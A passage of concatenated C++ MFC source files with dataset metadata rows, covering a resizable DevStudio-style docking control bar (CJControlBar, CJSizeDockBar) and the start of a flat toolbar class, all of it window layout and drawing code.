rectBar.left = 0;
rectBar.right = rectAvail.Width();
rectBar.bottom = rectBar.top + sizeIdeal.cy;
if (rectBar.top>lastRight)
rectBar.top = lastRight;
lastRight = rectBar.bottom;
if (IsLastControlBar(i+1))
{
rectBar.bottom = rectAvail.bottom;
pBar->m_bToFit = TRUE;
if (nCount == 1)
pBar->m_bUnique = TRUE;
}
else
pBar->m_bToFit = FALSE;
}
else if (pBar->IsBottomDocked())
{
rectBar.left = lastBottom;
rectBar.top = 0;
rectBar.bottom = rectAvail.Height();
rectBar.right = rectBar.left + sizeIdeal.cx;
if( rectBar.left>lastBottom )
rectBar.left = lastBottom;
lastBottom = rectBar.right;
if (IsLastControlBar(i+1))
{
rectBar.right = rectAvail.right;
pBar->m_bToFit = TRUE;
if( nCount == 1 )
pBar->m_bUnique = TRUE;
}
else
pBar->m_bToFit = FALSE;
}
pBar->SetWindowPos(NULL,rectBar.left,rectBar.top,rectBar.Width(),rectBar.Height(),SWP_NOZORDER);
// pBar->Invalidate();
}
}
::EndDeferWindowPos(hDWP);
}
void CCJSizeDockBar::Maximize(CCJControlBar* pBar)
{
int iExt=0;
CRect rectAvail;
GetClientRect(rectAvail);
for (int i=0; i<m_arrBars.GetSize(); ++i)
{
CCJControlBar *pBarDock = (CCJControlBar *)GetDockedControlBar(i);
if (pBarDock && pBarDock->IsVisible() && pBarDock != pBar) {
pBarDock->Minimize();
iExt += pBarDock->GetMinExt();
}
}
if (pBar->IsLeftDocked() || pBar->IsRightDocked()) {
iExt = rectAvail.Height()-iExt;
}
if (pBar->IsTopDocked() || pBar->IsBottomDocked()) {
iExt = rectAvail.Width()-iExt;
}
pBar->Maximize(iExt);
CalcSizeBarLayout();
}
void CCJSizeDockBar::Normalize(CCJControlBar *)
{
for( int i=0; i<m_arrBars.GetSize(); ++i) {
CCJControlBar *pBarDock = (CCJControlBar*)GetDockedControlBar(i);
if (pBarDock && pBarDock->IsVisible())
pBarDock->Normalize();
}
CalcSizeBarLayout();
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJSizeDockBar.cpp | C++ | asf20 | 19,529 |
// CJControlBar.cpp : implementation file
//
// DevStudio Style Resizable Docking Control Bar.
//
// Copyright ?1998-99 Kirk Stowell
// mailto:kstowell@codejockeys.com
// http://www.codejockeys.com/kstowell/
//
// This source code may be used in compiled form in any way you desire.
// Source file(s) may be redistributed unmodified by any means PROVIDING
// they are not sold for profit without the authors expressed written consent,
// and providing that this notice and the authors name and all copyright
// notices remain intact. If the source code is used in any commercial
// applications then a statement along the lines of:
//
// "Portions Copyright ?1998-99 Kirk Stowell" must be included in the
// startup banner, "About" box or printed documentation. An email letting
// me know that you are using it would be nice as well. That's not much to ask
// considering the amount of work that went into this.
//
// This software is provided "as is" without express or implied warranty. Use
// it at your own risk! The author accepts no liability for any damage/loss of
// business that this product may cause.
//
// ==========================================================================
//
// Acknowledgements:
// <> Many thanks to all of you, who have encouraged me to update my articles
// and code, and who sent in bug reports and fixes.
// <> Many thanks Zafir Anjum (zafir@codeguru.com) for the tremendous job that
// he has done with codeguru, enough can not be said!
// <> Many thanks to Microsoft for making the source code availiable for MFC.
// Since most of this work is a modification from existing classes and
// methods, this library would not have been possible.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 17 Oct 1998 - Initial re-write and release.
// 1.01 20 Oct 1998 - Fixed problem with gripper and buttons
// disappearing when docking toggled. Overloaded
// IsFloating() method from base class.
// 1.02 22 Nov 1998 - Modified set cursor to display normal size
// cursor when static linked.
// 2.00 12 Jan 1999 - Total class re-write, added multiple/side-by-side
// controlbar docking. No longer uses CSizingControlBar
// base class.
// 2.01 31 Jan 1999 - Removed extra line (typo) from OnLButtonUp().
// Thanks to Ioannis Stamatopoulos (ystamat@mail.datamedia.gr)
// for pointing this out.
// 2.02 28 Feb 1999 - Calls default wnd proc if no context menu is defined
// Gonzalo Pereyra [persys@adinet.com.uy]
// 2.03 10 Mar 1999 - Added AfxRegisterWndClass() to create method to
// handle double clicks. Thanks to Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
// for some thoughts on this.
// - Fixed memory leak with button tooltips.
// 2.04 13 Mar 1999 - Patrick Bergeron [patb@softimage.com] fixed the
// following bugs:
//
// - When nesting a CDialog based window inside a
// CJControlBar, the 3D rect drawn by ::OnEraseBkgnd would
// be overwritten by the top and left dialog borders. The
// problem was caused by the fact that in the
// ::OnWindowPosChanged() method, the rectangle which is
// used to move the window contains the border.
//
// A simple call to rc.DeflateRect(1,1) solved this problem.
//
// - Added a call to UpdateWindow() in ::OnEraseBkgnd().
// This helps with the flickering a bit, but I Am not sure
// this is the correct way to go. Incorporate at your own risks.
//
// - Added 2 ASSERT()s in ::OnMouseMove(). This was not to
// fix a bug, but at one point I was seeing strange things
// that lead me to add these asserts. They don't do
// anything bad, so why remove them?
//
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CJControlBar.h"
#include "CJDockContext.h"
#include "CJSizeDockBar.h"
#include "resource.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define GRIP_LEFTSPACING 3
#define GRIP_STARTGRIP 8
#define GRIP_SIZE 3
#define GRIP_BUTTONSPACING 3
#define GRIP_INTRASPACING 1
#define _HIDECROSS 0
#define _MAXORZDISABLE 1
#define _MAXORZENABLE 2
#define _MAXVERTDISABLE 3
#define _MAXVERTENABLE 4
#define _NORMORZDISABLE 5
#define _NORMORZENABLE 6
#define _NORMVERTDISABLE 7
#define _NORMVERTENABLE 8
/////////////////////////////////////////////////////////////////////////////
// CCJControlBar
CCJControlBar::CCJControlBar()
{
m_iTrackBorderSize = 4;
m_iAuxImage = -1;
m_menuID = -1;
m_bToFit = FALSE;
m_bOkToDrag = FALSE;
m_bDragging = FALSE;
m_bMaximized = FALSE;
m_bUnique = FALSE;
m_bGripper = TRUE;
m_bButtons = TRUE;
m_sizeDesired = CSize(200,100);
m_sizeNormal = CSize(200,100);
m_cxOffset = 5;
m_cyOffset = 3;
// Create the image list used by frame buttons.
m_ImageList.Create(IDB_BUTTON_IMAGES,
10, 1, RGB(255,255,255));
m_pChildWnd = NULL;
m_clrBtnHilite = ::GetSysColor(COLOR_BTNHILIGHT);
m_clrBtnShadow = ::GetSysColor(COLOR_BTNSHADOW);
m_clrBtnFace = ::GetSysColor(COLOR_BTNFACE);
}
CCJControlBar::~CCJControlBar()
{
m_ImageList.DeleteImageList();
}
IMPLEMENT_DYNAMIC(CCJControlBar, CControlBar)
BEGIN_MESSAGE_MAP(CCJControlBar, CControlBar)
//{{AFX_MSG_MAP(CCJControlBar)
ON_WM_NCPAINT()
ON_WM_PAINT()
ON_WM_MOUSEMOVE()
ON_WM_SETCURSOR()
ON_WM_LBUTTONUP()
ON_WM_NCHITTEST()
ON_WM_ERASEBKGND()
ON_WM_SYSCOLORCHANGE()
ON_WM_CREATE()
ON_WM_WINDOWPOSCHANGED()
ON_WM_CONTEXTMENU()
ON_WM_LBUTTONDOWN()
ON_COMMAND(IDC_BUTTON_HIDE, OnButtonClose)
ON_UPDATE_COMMAND_UI(IDC_BUTTON_HIDE, OnUpdateButtonClose)
ON_COMMAND(IDC_BUTTON_MINI, OnButtonMinimize)
ON_UPDATE_COMMAND_UI(IDC_BUTTON_MINI, OnUpdateButtonMinimize)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCJControlBar overrides
BOOL CCJControlBar::Create(CWnd *pParentWnd, UINT nID, LPCTSTR lpszWindowName, CSize sizeDefault, DWORD dwStyle)
{
ASSERT_VALID(pParentWnd); // must have a parent
// Set initial control bar style.
SetBarStyle(dwStyle & CBRS_ALL|CBRS_HIDE_INPLACE|CBRS_SIZE_DYNAMIC|CBRS_FLOAT_MULTI);
dwStyle &= ~CBRS_ALL;
dwStyle |= WS_VISIBLE | WS_CHILD | WS_CLIPCHILDREN;
m_sizeDesired = m_sizeNormal = sizeDefault;
CString wndClass = ::AfxRegisterWndClass(
CS_DBLCLKS, 0, ::GetSysColorBrush(COLOR_BTNFACE));
return CWnd::Create(wndClass, lpszWindowName,
dwStyle, CRect(0,0,0,0), pParentWnd, nID);
}
BOOL CCJControlBar::PreTranslateMessage(MSG* pMsg)
{
if (m_bButtons)
m_ToolTip.RelayEvent(pMsg);
return CControlBar::PreTranslateMessage(pMsg);
}
void CCJControlBar::OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler)
{
if (m_bButtons)
{
UINT NewImage;
BOOL bEnable = FALSE;
if (IsHorzDocked())
{
if (m_bUnique) {
m_ToolTip.UpdateTipText (IDS_EXPAND, &m_btnMinim);
NewImage = _MAXORZDISABLE;
bEnable = FALSE;
}
else if (!m_bMaximized) {
m_ToolTip.UpdateTipText (IDS_EXPAND, &m_btnMinim);
NewImage = _MAXORZENABLE;
bEnable = TRUE;
}
else {
m_ToolTip.UpdateTipText (IDS_CONTRACT, &m_btnMinim);
NewImage = _NORMORZENABLE;
bEnable = TRUE;
}
}
else if(IsVertDocked())
{
if (m_bUnique) {
m_ToolTip.UpdateTipText (IDS_EXPAND, &m_btnMinim);
NewImage = _MAXVERTDISABLE;
bEnable = FALSE;
}
else if (!m_bMaximized) {
m_ToolTip.UpdateTipText (IDS_EXPAND, &m_btnMinim);
NewImage = _MAXVERTENABLE;
bEnable = TRUE;
}
else {
m_ToolTip.UpdateTipText (IDS_CONTRACT, &m_btnMinim);
NewImage = _NORMVERTENABLE;
bEnable = TRUE;
}
}
if (NewImage != m_iAuxImage) {
m_iAuxImage = NewImage;
m_btnMinim.SetIcon(m_ImageList.ExtractIcon(m_iAuxImage), CSize(10,10));
m_btnMinim.EnableWindow(bEnable);
}
}
}
CSize CCJControlBar::CalcDynamicLayout(int nLength, DWORD nMode)
{
CSize sizeResult = m_sizeDesired;
// sizeResult.cx += GetMinExt();
// sizeResult.cy += GetMinExt();
if(IsFloating())
{
if (nMode == LM_HORZ) {
if (nLength < 50)
nLength = 50;
m_sizeDesired.cx = nLength;
}
if (nMode == (LM_LENGTHY | LM_HORZ)) {
if (nLength < 50)
nLength = 50;
m_sizeDesired.cy = nLength;
}
sizeResult = m_sizeDesired;
}
return sizeResult;
}
/////////////////////////////////////////////////////////////////////////////
// CCJControlBar message handlers
void CCJControlBar::OnNcPaint()
{
EraseNonClient();
}
void CCJControlBar::OnPaint()
{
CPaintDC dc(this); // device context for painting
CRect rc;
m_iAuxImage = -1;
GetClientRect(&rc);
CRect rect;
GetChildRect(rect);
dc.ExcludeClipRect(rect);
DrawBorders(&dc,rc);
}
void CCJControlBar::OnMouseMove(UINT nFlags, CPoint point)
{
HitTest(point);
CRect rectDock;
if( m_bDragging )
{
ASSERT(GetParent() != NULL);
GetParent()->GetClientRect(&rectDock);
ClientToScreen(&rectDock);
ClientToScreen(&point);
CFrameWnd *pFrame=GetDockingFrame();
ASSERT(pFrame != NULL);
pFrame -> ScreenToClient(&point);
pFrame->ScreenToClient(&rectDock);
point.x = point.x>rectDock.right ? rectDock.right:point.x;
point.x = point.x<rectDock.left ? rectDock.left:point.x;
point.y = point.y>rectDock.bottom ? rectDock.bottom:point.y;
point.y = point.y<rectDock.top ? rectDock.top:point.y;
OnInvertTracker(m_rcTrack);
int deltaX = point.x-m_ptCurDrag.x;
int deltaY = point.y-m_ptCurDrag.y;
if(IsVertDocked()) {
m_rcTrack.top += deltaY;
m_rcTrack.bottom += deltaY;
}
else if (IsHorzDocked()) {
m_rcTrack.left += deltaX;
m_rcTrack.right += deltaX;
}
OnInvertTracker(m_rcTrack);
m_ptCurDrag = point;
}
CControlBar::OnMouseMove(nFlags, point);
}
BOOL CCJControlBar::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{
return (!m_bOkToDrag && !m_bDragging)?
CControlBar::OnSetCursor(pWnd, nHitTest, message):FALSE;
}
void CCJControlBar::OnLButtonUp(UINT nFlags, CPoint point)
{
CRect rectAvail;
GetParent()->GetClientRect(&rectAvail);
if( m_bDragging )
{
ReleaseCapture();
OnInvertTracker(m_rcTrack);
m_bDragging = FALSE;
if(IsVertDocked()) {
int newHeight = m_rcTrack.top-m_ptStartDrag.y;
m_sizeDesired.cy += newHeight;
m_sizeDesired.cy = m_sizeDesired.cy > GetMinExt() ? m_sizeDesired.cy : GetMinExt();
m_sizeDesired.cy = m_sizeDesired.cy > rectAvail.Height() ? rectAvail.Height() : m_sizeDesired.cy;
}
else if (IsHorzDocked()) {
int newWidth = m_rcTrack.left-m_ptStartDrag.x;
m_sizeDesired.cx += newWidth;
m_sizeDesired.cx = m_sizeDesired.cx > GetMinExt() ? m_sizeDesired.cx : GetMinExt();
m_sizeDesired.cx = m_sizeDesired.cx > rectAvail.Width() ? rectAvail.Width() : m_sizeDesired.cx;
}
((CCJSizeDockBar *)GetParent())->CalcSizeBarLayout();
}
CControlBar::OnLButtonUp(nFlags, point);
}
LRESULT CCJControlBar::OnNcHitTest(CPoint point)
{
return HTCLIENT;
}
BOOL CCJControlBar::OnEraseBkgnd(CDC* pDC)
{
int result = CControlBar::OnEraseBkgnd(pDC);
CRect rect;
GetChildRect(rect);
rect.DeflateRect(1,1);
pDC->Draw3dRect(rect, m_clrBtnShadow, m_clrBtnHilite);
UpdateWindow(); // Reduce some of the flickering. Really not convinced this is a good solution.
return result;
}
void CCJControlBar::OnSysColorChange()
{
CControlBar::OnSysColorChange();
m_clrBtnHilite = ::GetSysColor(COLOR_BTNHILIGHT);
m_clrBtnShadow = ::GetSysColor(COLOR_BTNSHADOW);
m_clrBtnFace = ::GetSysColor(COLOR_BTNFACE);
}
int CCJControlBar::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CControlBar::OnCreate(lpCreateStruct) == -1)
return -1;
if (m_bButtons)
{
if(!m_btnClose.Create(NULL, WS_CHILD | WS_VISIBLE | WS_TABSTOP |
BS_NOTIFY | BS_OWNERDRAW | BS_ICON,
CRect(0,0,0,0), this, IDC_BUTTON_HIDE ))
{
TRACE0(_T("Unable to create close button\n"));
return -1;
}
if(!m_btnMinim.Create(NULL, WS_CHILD | WS_VISIBLE | WS_TABSTOP |
BS_NOTIFY | BS_OWNERDRAW | BS_ICON,
CRect(0,0,0,0), this, IDC_BUTTON_MINI ))
{
TRACE0(_T("Unable to create minimize button\n"));
return -1;
}
m_btnClose.DisableFlatLook();
m_btnMinim.DisableFlatLook();
m_btnClose.SetIcon(m_ImageList.ExtractIcon(0), CSize(10,10));
// Create the ToolTip control.
m_ToolTip.Create(this);
m_ToolTip.Activate(TRUE);
m_ToolTip.AddTool (&m_btnClose, IDS_HIDE);
m_ToolTip.AddTool (&m_btnMinim, IDS_EXPAND);
}
return 0;
}
void CCJControlBar::OnWindowPosChanged(WINDOWPOS FAR* lpwndpos)
{
CControlBar::OnWindowPosChanged(lpwndpos);
if (m_bButtons)
{
if (IsFloating())
{
m_btnClose.ShowWindow(SW_HIDE);
m_btnMinim.ShowWindow(SW_HIDE);
}
else
{
m_btnClose.ShowWindow(SW_SHOW);
m_btnMinim.ShowWindow(SW_SHOW);
CRect rcClose(GetButtonRect());
CRect rcMinim(GetButtonRect());
if (IsHorzDocked()) {
rcMinim.OffsetRect(0,14);
}
else {
rcClose.OffsetRect(14,0);
}
m_btnClose.MoveWindow(rcClose);
m_btnMinim.MoveWindow(rcMinim);
Invalidate(); // Added
}
}
if (m_pChildWnd->GetSafeHwnd()) {
CRect rc;
GetChildRect(rc);
rc.DeflateRect(1,1);
m_pChildWnd->MoveWindow(rc);
}
}
void CCJControlBar::OnContextMenu(CWnd* pWnd, CPoint point)
{
// if no menu, just return.
if (m_menuID == -1 )
{
// Gonzalo Pereyra
DefWindowProc(WM_CONTEXTMENU, LONG(m_hWnd),
MAKELPARAM(point.x,point.y));
TRACE0(_T("Warning: No control bar menu defined.\n"));
return;
}
if (point.x == -1 && point.y == -1)
{
//keystroke invocation
CRect rect;
GetClientRect(rect);
ClientToScreen(rect);
point = rect.TopLeft();
point.Offset(5, 5);
}
CMenu menu;
VERIFY(menu.LoadMenu(m_menuID));
CMenu* pPopup = menu.GetSubMenu(0);
ASSERT(pPopup != NULL);
CWnd* pWndPopupOwner = this;
while (pWndPopupOwner->GetStyle() & WS_CHILD)
pWndPopupOwner = pWndPopupOwner->GetParent();
pPopup->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y,
pWndPopupOwner);
}
void CCJControlBar::OnLButtonDown(UINT nFlags, CPoint point)
{
if (m_bOkToDrag)
{
CFrameWnd *pFrame=GetDockingFrame();
GetClientRect(m_rcTrack);
if (IsVertDocked()) {
m_rcTrack.top = m_rcTrack.bottom-m_iTrackBorderSize-2;
m_rcTrack.bottom-=2;
}
else if (IsHorzDocked()) {
m_rcTrack.left = m_rcTrack.right-m_iTrackBorderSize-2;
m_rcTrack.right-=2;
}
ClientToScreen(&m_rcTrack);
pFrame->ScreenToClient(&m_rcTrack);
ClientToScreen(&point);
pFrame->ScreenToClient(&point);
m_ptStartDrag = point;
m_ptCurDrag = point;
SetCapture();
m_bDragging = TRUE;
OnInvertTracker(m_rcTrack);
}
else if (m_pDockBar) {
if (OnToolHitTest(point, NULL) == -1) {
ClientToScreen(&point);
((CCJDockContext*)m_pDockContext)->StartDragDockBar(point);
}
}
else {
CControlBar::OnLButtonDown(nFlags, point);
}
}
void CCJControlBar::OnButtonClose()
{
GetDockingFrame()->ShowControlBar(this,FALSE,FALSE);
}
void CCJControlBar::OnUpdateButtonClose(CCmdUI* pCmdUI)
{
pCmdUI->Enable();
}
void CCJControlBar::OnButtonMinimize()
{
if (!m_bMaximized) {
((CCJSizeDockBar *)GetParent())->Maximize(this);
m_bMaximized = TRUE;
}
else {
((CCJSizeDockBar *)GetParent())->Normalize(this);
m_bMaximized = FALSE;
}
}
void CCJControlBar::OnUpdateButtonMinimize(CCmdUI* pCmdUI)
{
pCmdUI->Enable();
}
/////////////////////////////////////////////////////////////////////////////
// CCJControlBar operations
UINT CCJControlBar::GetMenuID()
{
return m_menuID;
}
void CCJControlBar::SetMenuID(UINT nID)
{
m_menuID = nID;
}
void CCJControlBar::ShowFrameControls(BOOL bGripper, BOOL bButtons)
{
m_bGripper = bGripper;
m_bButtons = bButtons;
}
void CCJControlBar::EnableDockingOnSizeBar(DWORD dwDockStyle)
{
ASSERT(m_pDockContext == NULL);
m_dwDockStyle = dwDockStyle;
if (m_pDockContext == NULL)
m_pDockContext = new CCJDockContext(this);
if (m_hWndOwner == NULL)
m_hWndOwner = ::GetParent(m_hWnd);
}
void CCJControlBar::Maximize(int size)
{
m_sizeNormal = m_sizeDesired;
if (IsHorzDocked()) {
m_sizeDesired.cx = size;
}
else if (IsVertDocked()) {
m_sizeDesired.cy = size;
}
m_bMaximized = TRUE;
}
void CCJControlBar::Minimize()
{
m_sizeNormal = m_sizeDesired;
if (IsHorzDocked()) {
m_sizeDesired.cx = GetMinExt();
}
else if (IsVertDocked()) {
m_sizeDesired.cy = GetMinExt();
}
m_bMaximized = FALSE;
}
void CCJControlBar::Normalize()
{
if (IsHorzDocked()) {
m_sizeDesired.cx = m_sizeNormal.cx;
}
else if (IsVertDocked()) {
m_sizeDesired.cy = m_sizeNormal.cy;
}
m_bMaximized = FALSE;
}
void CCJControlBar::SetNormalSize(const CSize &cs)
{
m_sizeDesired = m_sizeNormal = cs;
}
BOOL CCJControlBar::IsVertDocked()
{
return (IsLeftDocked() || IsRightDocked());
}
BOOL CCJControlBar::IsHorzDocked()
{
return (IsTopDocked() || IsBottomDocked());
}
BOOL CCJControlBar::IsBottomDocked()
{
return m_pDockBar?(m_pDockBar->GetDlgCtrlID()
== AFX_IDW_SIZEBAR_BOTTOM):FALSE;
}
BOOL CCJControlBar::IsTopDocked()
{
return m_pDockBar?(m_pDockBar->GetDlgCtrlID()
== AFX_IDW_SIZEBAR_TOP):FALSE;
}
BOOL CCJControlBar::IsRightDocked()
{
return m_pDockBar?(m_pDockBar->GetDlgCtrlID()
== AFX_IDW_SIZEBAR_RIGHT):FALSE;
}
BOOL CCJControlBar::IsLeftDocked()
{
return m_pDockBar?(m_pDockBar->GetDlgCtrlID()
== AFX_IDW_SIZEBAR_LEFT):FALSE;
}
int CCJControlBar::GetMinExt()
{
int nRet = m_iTrackBorderSize;
if (m_bGripper || m_bButtons) {
nRet += GRIP_STARTGRIP;
nRet += GRIP_SIZE*2;
nRet += GRIP_INTRASPACING*3+2;
}
else
nRet += 2;
return nRet;
}
void CCJControlBar::GetChildRect(CRect &rect)
{
GetClientRect(&rect);
if (!IsFloating())
{
if (IsVertDocked()) {
rect.left += m_cxOffset;
rect.right -= m_cxOffset;
rect.top += (GetMinExt()-5);
rect.bottom -= (m_iTrackBorderSize+4);
}
else if(IsHorzDocked()) {
rect.left += (GetMinExt()-5);
rect.right -= (m_iTrackBorderSize+4);
rect.top += m_cyOffset;
rect.bottom -= m_cyOffset;
}
if( rect.left > rect.right || rect.top > rect.bottom )
rect = CRect(0,0,0,0);
}
}
void CCJControlBar::EraseNonClient()
{
CWindowDC dc(this);
CRect rectClient;
GetClientRect(rectClient);
CRect rectWindow;
GetWindowRect(rectWindow);
ScreenToClient(rectWindow);
rectClient.OffsetRect(-rectWindow.left, -rectWindow.top);
dc.ExcludeClipRect(rectClient);
rectWindow.OffsetRect(-rectWindow.left, -rectWindow.top);
dc.IntersectClipRect(rectWindow);
SendMessage(WM_ERASEBKGND, (WPARAM)dc.m_hDC);
}
void CCJControlBar::DrawBorders(CDC *pDC, CRect &rect)
{
CRect rc;
rc.CopyRect(&rect);
CRect rcTrack;
rcTrack.CopyRect(&rc);
if(IsVertDocked())
{
if (!m_bToFit) {
rcTrack.top = rc.bottom-m_iTrackBorderSize;
rcTrack.top-=2;
rcTrack.bottom-=1;
pDC->FillSolidRect(rcTrack, m_clrBtnFace);
pDC->Draw3dRect(rcTrack, m_clrBtnHilite, m_clrBtnShadow);
}
}
else if (IsHorzDocked())
{
if (!m_bToFit) {
rcTrack.left = rc.right-m_iTrackBorderSize;
rcTrack.left-=2;
rcTrack.right-=1;
pDC->FillSolidRect(rcTrack, m_clrBtnFace);
pDC->Draw3dRect(rcTrack, m_clrBtnHilite, m_clrBtnShadow);
}
}
DrawGripper(pDC);
}
void CCJControlBar::HitTest(CPoint &point)
{
CRect rcWin;
GetClientRect(&rcWin);
HCURSOR hCur;
BOOL bHit = FALSE;
if (IsVertDocked()) {
rcWin.top = rcWin.bottom-m_iTrackBorderSize;
hCur = AfxGetApp()->LoadCursor(AFX_IDC_VSPLITBAR);
bHit = rcWin.PtInRect(point) && !m_bToFit;
}
else if (IsHorzDocked()) {
rcWin.left = rcWin.right-m_iTrackBorderSize;
hCur = AfxGetApp()->LoadCursor(AFX_IDC_HSPLITBAR);
bHit = rcWin.PtInRect(point) && !m_bToFit;
}
if( bHit )
SetCursor(hCur);
else {
hCur = ::LoadCursor(NULL,IDC_ARROW);
SetCursor(hCur);
}
m_bOkToDrag = bHit;
}
void CCJControlBar::OnInvertTracker(const CRect &rect)
{
ASSERT_VALID(this);
ASSERT(!rect.IsRectEmpty());
CFrameWnd *pFrame=GetDockingFrame();
CDC* pDC = pFrame->GetDC();
CBrush* pBrush = CDC::GetHalftoneBrush();
HBRUSH hOldBrush = NULL;
if (pBrush != NULL)
hOldBrush = (HBRUSH)SelectObject(pDC->m_hDC, pBrush->m_hObject);
pDC->PatBlt(rect.left, rect.top, rect.Width(), rect.Height(), PATINVERT);
if (hOldBrush != NULL)
SelectObject(pDC->m_hDC, hOldBrush);
pFrame->ReleaseDC(pDC);
}
void CCJControlBar::SetChild(CWnd *pWnd)
{
m_pChildWnd = pWnd;
}
void CCJControlBar::DrawGripper(CDC *pDC)
{
if (!IsFloating() && m_bGripper)
{
// draw the gripper.
CRect pRect(GetGripperRect());
pDC->Draw3dRect( pRect, ::GetSysColor(COLOR_BTNHIGHLIGHT),
::GetSysColor(COLOR_BTNSHADOW) );
if (IsHorzDocked())
pRect.OffsetRect(4,0);
else
pRect.OffsetRect(0,4);
pDC->Draw3dRect( pRect, ::GetSysColor(COLOR_BTNHIGHLIGHT),
::GetSysColor(COLOR_BTNSHADOW) );
}
}
CRect CCJControlBar::GetButtonRect()
{
CRect rect;
GetClientRect(&rect);
rect.OffsetRect(-rect.left,-rect.top);
if (IsHorzDocked()) {
rect.top += 3;
rect.bottom = rect.top+12;
rect.left += 2;
rect.right = rect.left+12;
}
else {
rect.right -= 19;
rect.left = rect.right-12;
rect.top += 3;
rect.bottom = rect.top+12;
}
return rect;
}
CRect CCJControlBar::GetGripperRect()
{
CRect rect;
GetClientRect(&rect);
rect.OffsetRect(-rect.left,-rect.top);
if (IsHorzDocked()) {
rect.DeflateRect(3,3);
rect.left += 1;
rect.right = rect.left+3;
rect.bottom -= 1;
rect.top += m_bButtons?30:1;
}
else {
rect.DeflateRect(4,4);
rect.top += 2;
rect.bottom = rect.top+3;
rect.right -= m_bButtons?30:2;
}
return rect;
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJControlBar.cpp | C++ | asf20 | 22,781 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CFlatToolBar implements dockable flat-style toolbars with "grippers"
//
#include "StdAfx.h"
#include "FlatBar.h"
#include "ModulVer.h"
// if you want to see extra TRACE diagnostics, set below to TRUE
BOOL CFlatToolBar::bTRACE = FALSE;
#ifdef _DEBUG
#define FBTRACEFN \
CTraceFn __fooble; \
if (bTRACE) \
TRACE
#define FBTRACE \
if (bTRACE) \
TRACE
#else
#define FBTRACEFN TRACE
#define FBTRACE TRACE
#endif
/////////////////
// One of these for each drop-down button
//
struct DROPDOWNBUTTON {
DROPDOWNBUTTON* next;
UINT idButton; // command ID of button
UINT idMenu; // popup menu to display
};
// these define size of grippers
const int GRIP_WIDTH = 3;
const int GRIP_MARGIN = 5;
// flags stored in item data
#define ITEMF_INITIALIZED 0x01 // item data initialized
#define ITEMF_CHECKED 0x02 // item is checked
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
////////////////////////////////////////////////////////////////
// CFlatToolBar--does flat tool bar in MFC.
//
IMPLEMENT_DYNAMIC(CFlatToolBar, CFlatToolBarBase)
BEGIN_MESSAGE_MAP(CFlatToolBar, CFlatToolBarBase)
ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnTbnDropDown)
ON_WM_WINDOWPOSCHANGING()
ON_WM_WINDOWPOSCHANGED()
ON_WM_NCCALCSIZE()
ON_WM_ERASEBKGND()
ON_WM_NCCREATE()
ON_WM_PAINT()
ON_WM_CREATE()
END_MESSAGE_MAP()
CFlatToolBar::CFlatToolBar()
{
FBTRACE(_T("CFlatToolBar::CFlatToolBar, comctl32 version = %d\n"),
iVerComCtl32);
m_bDrawDisabledButtonsInColor = FALSE; // don't use color
m_bInCoolBar = FALSE; // assume not inside coolbar
m_pDropDownButtons = NULL; // list of drop-down buttons
m_bShowDropdownArrowWhenVertical = TRUE;
m_bNoEntry = FALSE;
}
CFlatToolBar::~CFlatToolBar()
{
while (m_pDropDownButtons) {
DROPDOWNBUTTON* pnext = m_pDropDownButtons->next;
delete m_pDropDownButtons;
m_pDropDownButtons = pnext;
}
}
/////////////////
// Create handler: set flat style by default
//
int CFlatToolBar::OnCreate(LPCREATESTRUCT lpcs)
{
if (CFlatToolBarBase::OnCreate(lpcs) == -1)
return -1;
ModifyStyle(0, TBSTYLE_FLAT);
return 0; // OK
}
////////////////
// Load function sets flat style after loading buttons.
//
BOOL CFlatToolBar::LoadToolBar(LPCTSTR lpszResourceName)
{
// Set transparent/flat style before loading buttons to allow zero-height
// border. This required because of bug in comctl32.dll that always adds
// a border, unless flat/transparent.
//
DWORD dwStyle = GetStyle();
ModifyStyle(0, TBSTYLE_FLAT|TBSTYLE_TRANSPARENT);
BOOL bRet = CFlatToolBarBase::LoadToolBar(lpszResourceName);
SetWindowLong(m_hWnd, GWL_STYLE, dwStyle);
return bRet;
}
//////////////////
// Calcluate size of client area. Adds room for grippers
//
void CFlatToolBar::OnNcCalcSize(BOOL bCalc, NCCALCSIZE_PARAMS* pncp)
{
if (m_bInCoolBar) { // if I am in a coolbar (rebar):
Default(); // ..bypass CToolBar/CControlBar
} else {
CRect& rc = (CRect&)pncp->rgrc[0]; // rect to return
// copied from MFC below:
CRect rcMargin(0,0,0,0);
CControlBar::CalcInsideRect(rcMargin, m_dwStyle & CBRS_ORIENT_HORZ);
// adjust non-client area for border space
rc.left += rcMargin.left;
rc.top += rcMargin.top; // MFC has -2 here, bug for newer comctl32
rc.right += rcMargin.right;
rc.bottom+= rcMargin.bottom;
}
}
//////////////////
// MFC doesn't handle moving a TBSTYLE_FLAT toolbar correctly. The simplest
// way to fix it is to repaint whatever was underneath whenever the toolbar
// moves. This is done in this and the following function. All this stuff is
// only required because flat toolbars paint transparently (don't paint their
// backgrounds).
//
void CFlatToolBar::OnWindowPosChanging(LPWINDOWPOS lpwp)
{
if (m_bInCoolBar)
// inside coolbars, don't do MFC thing
Default();
else {
CFlatToolBarBase::OnWindowPosChanging(lpwp);
if (!(lpwp->flags & SWP_NOMOVE))
GetWindowRect(&m_rcOldPos); // remember old position
}
}
//////////////////
// Now toolbar has really moved: repaint area beneath old position
//
void CFlatToolBar::OnWindowPosChanged(LPWINDOWPOS lpwp)
{
if (m_bInCoolBar) {
Default();
} else {
CFlatToolBarBase::OnWindowPosChanged(lpwp);
if (!(lpwp->flags & SWP_NOMOVE)) { // if moved:
